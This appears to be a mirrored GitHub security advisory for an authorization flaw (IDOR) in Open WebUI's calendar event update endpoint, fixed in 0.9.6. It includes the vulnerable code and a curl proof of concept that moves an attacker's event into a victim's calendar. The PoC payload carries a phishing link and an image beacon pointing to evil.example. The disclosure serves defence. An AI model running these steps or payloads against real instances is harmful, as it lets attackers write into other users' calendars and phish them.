GHSA-F3G7-59QC-PQG6
Vulnerability from github – Published: 2026-06-17 14:09 – Updated: 2026-06-17 14:09Summary
POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.
A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.
Details
Sink — missing destination check
backend/open_webui/routers/calendar.py:283-297
@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
request: Request, event_id: str, form_data: CalendarEventUpdateForm,
user: UserModel = Depends(get_verified_user)
):
await check_calendar_permission(request, user)
event = await CalendarEvents.get_event_by_id(event_id)
if not event:
raise HTTPException(status_code=404, detail='Event not found')
await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only
updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id
...
backend/open_webui/models/calendar.py:658-693 (update_event_by_id)
update_data = form_data.model_dump(exclude_unset=True)
for field in [
'calendar_id', # ← destination persisted with no ACL
'title', 'description', 'start_at', 'end_at', 'all_day',
'rrule', 'color', 'location', 'is_cancelled',
]:
if field in update_data:
setattr(event, field, update_data[field])
Reference — create_event does check the destination
backend/open_webui/routers/calendar.py:255
await _check_calendar_access(form_data.calendar_id, user, 'write')
Default-config gates (both True)
backend/open_webui/config.py:1658-1662—ENABLE_CALENDARdefaults'True'backend/open_webui/config.py:1554—USER_PERMISSIONS_FEATURES_CALENDARdefaults'True'backend/open_webui/main.py:1457— router mounted unconditionally
PoC
Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.
1. Environment
git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d # http://localhost:3000
Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.
2. Obtain the victim's calendar_id
Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:
- Read-only share — victim (or a group admin) grants the attacker
readon a calendar; the ID is returned byGET /api/v1/calendars/. - Event invitation — victim adds the attacker as an attendee on any event; the event payload (
CalendarEventModel,models/calendar.py:127) includescalendar_id. - Any side-channel (logs, screenshots, browser history).
For reproduction the maintainer can simply read it as the victim:
VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
3. Control — direct create is correctly blocked
curl -s -o /dev/null -w '%{http_code}\n' \
-X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403
4. Exploit — create-then-reparent
ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"
5. Verification from victim's session
curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool
Observed output (truncated):
[{
"id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
"calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
"user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
"title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
"description": "Session expired.",
...
}]
The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.
Impact
- Read-only → write escalation on shared calendars: a user granted
readviaAccessGrantscan effectively write. - Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (
CalendarEventChip.svelte:12 → common/Tooltip.svelte) renderstitle/locationas DOMPurify-sanitised HTML withallowHTML=true, so an attacker can embed formatted links and<img>beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54006"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:09:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.\n\nA regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user\u0027s calendar whose ID they know \u2014 bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.\n\n\n### Details\n### Sink \u2014 missing destination check\n\n`backend/open_webui/routers/calendar.py:283-297`\n\n```python\n@router.post(\u0027/events/{event_id}/update\u0027, response_model=CalendarEventModel)\nasync def update_event(\n request: Request, event_id: str, form_data: CalendarEventUpdateForm,\n user: UserModel = Depends(get_verified_user)\n):\n await check_calendar_permission(request, user)\n event = await CalendarEvents.get_event_by_id(event_id)\n if not event:\n raise HTTPException(status_code=404, detail=\u0027Event not found\u0027)\n\n await _check_calendar_access(event.calendar_id, user, \u0027write\u0027) # \u2190 SOURCE only\n\n updated = await CalendarEvents.update_event_by_id(event_id, form_data) # \u2190 writes form_data.calendar_id\n ...\n```\n\n`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)\n\n```python\nupdate_data = form_data.model_dump(exclude_unset=True)\nfor field in [\n \u0027calendar_id\u0027, # \u2190 destination persisted with no ACL\n \u0027title\u0027, \u0027description\u0027, \u0027start_at\u0027, \u0027end_at\u0027, \u0027all_day\u0027,\n \u0027rrule\u0027, \u0027color\u0027, \u0027location\u0027, \u0027is_cancelled\u0027,\n]:\n if field in update_data:\n setattr(event, field, update_data[field])\n```\n\n### Reference \u2014 `create_event` does check the destination\n\n`backend/open_webui/routers/calendar.py:255`\n\n```python\nawait _check_calendar_access(form_data.calendar_id, user, \u0027write\u0027)\n```\n\n### Default-config gates (both `True`)\n\n- `backend/open_webui/config.py:1658-1662` \u2014 `ENABLE_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/config.py:1554` \u2014 `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/main.py:1457` \u2014 router mounted unconditionally\n\n\n### PoC\nVerified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.\n\n#### 1. Environment\n\n```bash\ngit clone https://github.com/open-webui/open-webui.git\ncd open-webui \u0026\u0026 docker compose up -d # http://localhost:3000\n```\n\nCreate the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.\n\n#### 2. Obtain the victim\u0027s `calendar_id`\n\nCalendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:\n\n- **Read-only share** \u2014 victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`.\n- **Event invitation** \u2014 victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`.\n- Any side-channel (logs, screenshots, browser history).\n\nFor reproduction the maintainer can simply read it as the victim:\n\n```bash\nVICTIM_CALENDAR_ID=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n```\n\n#### 3. Control \u2014 direct create is correctly blocked\n\n```bash\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\",\\\"title\\\":\\\"x\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\"\n# \u2192 403\n```\n\n#### 4. Exploit \u2014 create-then-reparent\n\n```bash\nATTACKER_CAL=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n\n# 1. create in own calendar\nEVENT_ID=$(curl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"calendar_id\\\":\\\"$ATTACKER_CAL\\\",\\\"title\\\":\\\"[INJECTED] Mandatory re-auth: https://evil.example/login\\\",\\\"description\\\":\\\"Session expired.\\\",\\\"location\\\":\\\"\u003cimg src=https://evil.example/beacon.png\u003e\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\" \\\n | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027)\n\n# 2. move into victim\u0027s calendar \u2014 NO destination check\ncurl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\"}\"\n# \u2192 200, response shows \"calendar_id\":\"\u003cVICTIM_CALENDAR_ID\u003e\"\n```\n\n#### 5. Verification from victim\u0027s session\n\n```bash\ncurl -s \"$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00\u0026end=2026-06-01T00:00:00\" \\\n -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -m json.tool\n```\n\nObserved output (truncated):\n\n```json\n[{\n \"id\": \"1662c982-adb1-43d6-a9c8-0103fa1299c0\",\n \"calendar_id\": \"0b755ea7-4ff4-4a60-9cff-8961e69c75bb\",\n \"user_id\": \"7554dd33-e220-44cb-8441-169c55eef4f5\",\n \"title\": \"[INJECTED] Mandatory re-auth: https://evil.example/login\",\n \"description\": \"Session expired.\",\n ...\n}]\n```\n\nThe injected event now lives in the victim\u0027s default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** \u2014 confirming the move succeeded and the attacker has no legitimate access to the destination.\n\n\n### Impact\n- **Read-only \u2192 write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write.\n- **Phishing / social engineering**: events appear inside the victim\u0027s own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 \u2192 common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `\u003cimg\u003e` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.\n- **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).",
"id": "GHSA-f3g7-59qc-pqg6",
"modified": "2026-06-17T14:09:53Z",
"published": "2026-06-17T14:09:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI IDOR: Calendar event re-parenting allows writing events into another user\u0027s calendar"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.